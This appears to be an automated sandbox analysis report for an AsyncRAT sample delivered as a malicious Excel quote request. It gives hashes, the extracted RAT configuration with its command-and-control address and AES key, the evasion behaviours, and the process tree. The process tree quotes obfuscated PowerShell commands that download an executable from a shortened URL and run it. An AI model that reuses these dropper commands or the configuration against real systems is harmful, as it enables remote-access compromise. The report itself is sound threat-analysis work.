asyncrat | 166989f61fb157324d0c29d69d5aae0aa2a7813c9f4a0c1ab6506730dd66b434

Analysis

max time kernel
151s
max time network
154s
platform
windows7_x64
resource
win7
submitted
28-10-2020 08:02

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General

Target

Quote Request October-2020.xls
Size

66KB
MD5

57d2e6d7a94b56acfc61035d2577a86a
SHA1

69248b27552383513f0b4d5839a63386849217dd
SHA256

166989f61fb157324d0c29d69d5aae0aa2a7813c9f4a0c1ab6506730dd66b434
SHA512

04b171a580f5d46d82ceb5d6a73009bc8e3a289e75e592e1b0d5b83052a1f37221e3c197bf170da07fbebf7088fa7dfb044103890f127d0af45d2aba01800e2e

Score

10^/10

asyncrat evasion rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://tinyurl.com/yxmkb9y9

Extracted

Family

asyncrat

Version

0.5.7B

185.165.153.249:4371

Mutex

AsyncMutex_6SI8OkPnk

Attributes

aes_key
ytMOQ9vVR8d56lQb8encn2IGn2i9oQc7
anti_detection
false
autorun
false
bdos
false
delay
Default
host
185.165.153.249
hwid
3
install_file
install_folder
%AppData%
mutex
AsyncMutex_6SI8OkPnk
pastebin_config
null
port
4371
version
0.5.7B

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1904	1568	cmd.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1920	1568	cmd.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1144	1568	cmd.exe	EXCEL.EXE

Looks for VirtualBox Guest Additions in registry 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

ServiceHost packer 13 IoCs

Detects ServiceHost packer used for .NET malware

Processes:

resource	yara_rule
behavioral1/memory/2012-78-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/2012-79-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/2012-80-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/2012-81-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/2012-82-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/2012-83-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/2012-84-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/2012-85-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/2012-87-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/2012-88-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/2012-89-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/2012-90-0x0000000000000000-mapping.dmp	servicehost
behavioral1/memory/2012-86-0x0000000000000000-mapping.dmp	servicehost

Blacklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

8 1944 powershell.exe
10 1944 powershell.exe
12 1944 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

ye.exeye.exe

pid process

2012 ye.exe
1500 ye.exe
Looks for VMWare Tools registry key 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

flow	pid	process
8	1944	powershell.exe
10	1944	powershell.exe
12	1944	powershell.exe

pid	process
2012	ye.exe
1500	ye.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

ye.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ye.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ye.exe

Loads dropped DLL 7 IoCs

Processes:

powershell.exeWerFault.exe

pid process

1600 powershell.exe
1600 powershell.exe
1600 powershell.exe
1600 powershell.exe
1864 WerFault.exe
1864 WerFault.exe
1864 WerFault.exe

pid	process
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
1864	WerFault.exe
1864	WerFault.exe
1864	WerFault.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

ye.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	ye.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	ye.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs

Processes:

ye.exe

pid process

2012 ye.exe
2012 ye.exe
2012 ye.exe
2012 ye.exe
2012 ye.exe
2012 ye.exe
2012 ye.exe
2012 ye.exe
2012 ye.exe
2012 ye.exe
2012 ye.exe
2012 ye.exe
2012 ye.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

ye.exe

description pid process target process

PID 2012 set thread context of 1500 2012 ye.exe ye.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1864 2012 WerFault.exe ye.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1048 timeout.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

pid	process
2012	ye.exe
2012	ye.exe
2012	ye.exe
2012	ye.exe
2012	ye.exe
2012	ye.exe
2012	ye.exe
2012	ye.exe
2012	ye.exe
2012	ye.exe
2012	ye.exe
2012	ye.exe
2012	ye.exe

description	pid	process	target process
PID 2012 set thread context of 1500	2012	ye.exe	ye.exe

pid	pid_target	process	target process
1864	2012	WerFault.exe	ye.exe

pid	process
1048	timeout.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

ye.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	ye.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	ye.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	ye.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1568 EXCEL.EXE

pid	process
1568	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

powershell.exepowershell.exepowershell.exeye.exeWerFault.exe

pid	process
1664	powershell.exe
1944	powershell.exe
1600	powershell.exe
1664	powershell.exe
1600	powershell.exe
1944	powershell.exe
2012	ye.exe
2012	ye.exe
2012	ye.exe
1864	WerFault.exe
1864	WerFault.exe
1864	WerFault.exe
1864	WerFault.exe
1864	WerFault.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exeye.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	1664	powershell.exe
Token: SeDebugPrivilege	1944	powershell.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	2012	ye.exe
Token: SeDebugPrivilege	1864	WerFault.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1568 EXCEL.EXE
1568 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1568 EXCEL.EXE
1568 EXCEL.EXE
1568 EXCEL.EXE

pid	process
1568	EXCEL.EXE
1568	EXCEL.EXE

pid	process
1568	EXCEL.EXE
1568	EXCEL.EXE
1568	EXCEL.EXE

Suspicious use of WriteProcessMemory 45 IoCs

Processes:

EXCEL.EXEcmd.execmd.execmd.exepowershell.exeye.exe

description	pid	process	target process
PID 1568 wrote to memory of 1904	1568	EXCEL.EXE	cmd.exe
PID 1568 wrote to memory of 1904	1568	EXCEL.EXE	cmd.exe
PID 1568 wrote to memory of 1904	1568	EXCEL.EXE	cmd.exe
PID 1568 wrote to memory of 1904	1568	EXCEL.EXE	cmd.exe
PID 1568 wrote to memory of 1920	1568	EXCEL.EXE	cmd.exe
PID 1568 wrote to memory of 1920	1568	EXCEL.EXE	cmd.exe
PID 1568 wrote to memory of 1920	1568	EXCEL.EXE	cmd.exe
PID 1568 wrote to memory of 1920	1568	EXCEL.EXE	cmd.exe
PID 1568 wrote to memory of 1144	1568	EXCEL.EXE	cmd.exe
PID 1568 wrote to memory of 1144	1568	EXCEL.EXE	cmd.exe
PID 1568 wrote to memory of 1144	1568	EXCEL.EXE	cmd.exe
PID 1568 wrote to memory of 1144	1568	EXCEL.EXE	cmd.exe
PID 1904 wrote to memory of 1944	1904	cmd.exe	powershell.exe
PID 1904 wrote to memory of 1944	1904	cmd.exe	powershell.exe
PID 1904 wrote to memory of 1944	1904	cmd.exe	powershell.exe
PID 1904 wrote to memory of 1944	1904	cmd.exe	powershell.exe
PID 1144 wrote to memory of 1600	1144	cmd.exe	powershell.exe
PID 1144 wrote to memory of 1600	1144	cmd.exe	powershell.exe
PID 1144 wrote to memory of 1600	1144	cmd.exe	powershell.exe
PID 1144 wrote to memory of 1600	1144	cmd.exe	powershell.exe
PID 1920 wrote to memory of 1664	1920	cmd.exe	powershell.exe
PID 1920 wrote to memory of 1664	1920	cmd.exe	powershell.exe
PID 1920 wrote to memory of 1664	1920	cmd.exe	powershell.exe
PID 1920 wrote to memory of 1664	1920	cmd.exe	powershell.exe
PID 1600 wrote to memory of 2012	1600	powershell.exe	ye.exe
PID 1600 wrote to memory of 2012	1600	powershell.exe	ye.exe
PID 1600 wrote to memory of 2012	1600	powershell.exe	ye.exe
PID 1600 wrote to memory of 2012	1600	powershell.exe	ye.exe
PID 2012 wrote to memory of 1048	2012	ye.exe	timeout.exe
PID 2012 wrote to memory of 1048	2012	ye.exe	timeout.exe
PID 2012 wrote to memory of 1048	2012	ye.exe	timeout.exe
PID 2012 wrote to memory of 1048	2012	ye.exe	timeout.exe
PID 2012 wrote to memory of 1500	2012	ye.exe	ye.exe
PID 2012 wrote to memory of 1500	2012	ye.exe	ye.exe
PID 2012 wrote to memory of 1500	2012	ye.exe	ye.exe
PID 2012 wrote to memory of 1500	2012	ye.exe	ye.exe
PID 2012 wrote to memory of 1500	2012	ye.exe	ye.exe
PID 2012 wrote to memory of 1500	2012	ye.exe	ye.exe
PID 2012 wrote to memory of 1500	2012	ye.exe	ye.exe
PID 2012 wrote to memory of 1500	2012	ye.exe	ye.exe
PID 2012 wrote to memory of 1500	2012	ye.exe	ye.exe
PID 2012 wrote to memory of 1864	2012	ye.exe	WerFault.exe
PID 2012 wrote to memory of 1864	2012	ye.exe	WerFault.exe
PID 2012 wrote to memory of 1864	2012	ye.exe	WerFault.exe
PID 2012 wrote to memory of 1864	2012	ye.exe	WerFault.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Quote Request October-2020.xls"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1568

C:\Windows\SysWOW64\cmd.exe
cmd /k p^ower^shell -w 1 (nEw-oBje`cT Net.WebcL`IENt).('DownloadFile').Invoke(('ht'+'tps://tinyurl.com/yxmkb9y9'),'ye.exe')
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1904

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 (nEw-oBje`cT Net.WebcL`IENt).('DownloadFile').Invoke(('ht'+'tps://tinyurl.com/yxmkb9y9'),'ye.exe')
3⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1944

C:\Windows\SysWOW64\cmd.exe
cmd /k p^ower^shell -w 1 stARt`-slE`Ep 20; Move-Item "ye.exe" -Destination "$env:appdata"
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1920

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 stARt`-slE`Ep 20; Move-Item "ye.exe" -Destination "$env:appdata"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1664

C:\Windows\SysWOW64\cmd.exe
cmd /k po^wer^shell -w 1 stARt`-slE`Ep 25; cd $env:appdata; ./ye.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1144

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 stARt`-slE`Ep 25; cd $env:appdata; ./ye.exe
3⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1600

C:\Users\Admin\AppData\Roaming\ye.exe
"C:\Users\Admin\AppData\Roaming\ye.exe"
4⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2012

C:\Windows\SysWOW64\timeout.exe
timeout
5⤵
- Delays execution with timeout.exe
PID:1048

C:\Users\Admin\AppData\Roaming\ye.exe
"C:\Users\Admin\AppData\Roaming\ye.exe"
5⤵
- Executes dropped EXE
PID:1500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2012 -s 1684
5⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1864

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Modify Registry

T1112

Install Root Certificate

T1130

Credential Access

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1e1c900c-0d58-484d-b929-67e01a0727ef
MD5
5e3c7184a75d42dda1a83606a45001d8

SHA1
94ca15637721d88f30eb4b6220b805c5be0360ed

SHA256
8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

SHA512
fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7eddb008-03b2-44b7-ba83-b7fd16fb2e89
MD5
02ff38ac870de39782aeee04d7b48231

SHA1
0390d39fa216c9b0ecdb38238304e518fb2b5095

SHA256
fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

SHA512
24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8e79d91b-e812-4269-8293-6068b9bab0d3
MD5
df44874327d79bd75e4264cb8dc01811

SHA1
1396b06debed65ea93c24998d244edebd3c0209d

SHA256
55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

SHA512
95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9eac8395-fc75-45b8-9c48-bfc1db7c3c0f
MD5
be4d72095faf84233ac17b94744f7084

SHA1
cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

SHA256
b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

SHA512
43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a426aac7-daac-4445-a1d2-56718314378c
MD5
a725bb9fafcf91f3c6b7861a2bde6db2

SHA1
8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

SHA256
51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

SHA512
1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a426aac7-daac-4445-a1d2-56718314378c
MD5
a725bb9fafcf91f3c6b7861a2bde6db2

SHA1
8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

SHA256
51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

SHA512
1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d6289801-864a-4184-a547-2523e131d25f
MD5
b6d38f250ccc9003dd70efd3b778117f

SHA1
d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

SHA256
4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

SHA512
67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fc7c09f4-994b-4a9f-927f-42cf9b846b51
MD5
75a8da7754349b38d64c87c938545b1b

SHA1
5c28c257d51f1c1587e29164cc03ea880c21b417

SHA256
bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

SHA512
798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ff960bfe-cfc4-4a4c-8e9b-ab6e5dcd6d96
MD5
597009ea0430a463753e0f5b1d1a249e

SHA1
4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

SHA256
3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

SHA512
5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
ec0b6930dcb0fa6d0401292cf62405fe

SHA1
8f22cdcc0dfb9afc09ea18a96410435edf3328a7

SHA256
42319e330e83ce5d8a6725c26f9b683871e9aade51b7419453b15d47a1919c15

SHA512
71fccc8d05a9a3a3aa90e03885cb6c8da8513edd5558a0a5d036c9c9fb83d10fe552353a5cb4833931a6684792e8669420d41517c53bebc08fd95f154204e642

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
f779a83c560696fc62aad3b1ea0be325

SHA1
4ded33ec37a2cc63f841d7cbc586e3f268b6644c

SHA256
ef6712021344b39b679a57536178926c1bda508f54d42507fded470baab434e2

SHA512
cdd00e1a8538f5eb6d4c4d3b8186d53a8a94e2b05c54da464771d3c5fe635518654584089ee3de752e87ea32318b3cf4fdde709cb62c375e1d982ae4439e4f8d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
49efa48825b5acd2d2020112e5f03ae8

SHA1
8e53bd35a9dc64005bc47c750eb0ec87e5516abf

SHA256
09c2eefc6aba0a04a0ad64f7f74b4d7a0cfb401288c3a63420d1e387fa747252

SHA512
b19b82401d2439faeb6456491c4155465eecdf650b0c4b1a0bcf60146c64d05fe67f746b09cd3e92a6605a7a272f7a7069b3521c0229f7fcf9b1b1a50f55a1cb

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
e694b63fe21f9fd944ef128fe1fc3e8c

SHA1
7b8fe4edab1269de6b176b6be7c5578aad094c42

SHA256
501ab4be510d9c50afa418b1e5462ec57fccedbb3db14144cee0e24e0d012f28

SHA512
39679249100beaf709124904b24afdd9b469cf035831869a8fd946a8fc3e82963404b49a9be7b76da15d054c1f7b6b2dd019b7ed3f5cf8507db50d2e733b3689

Download Submit
C:\Users\Admin\AppData\Roaming\ye.exe
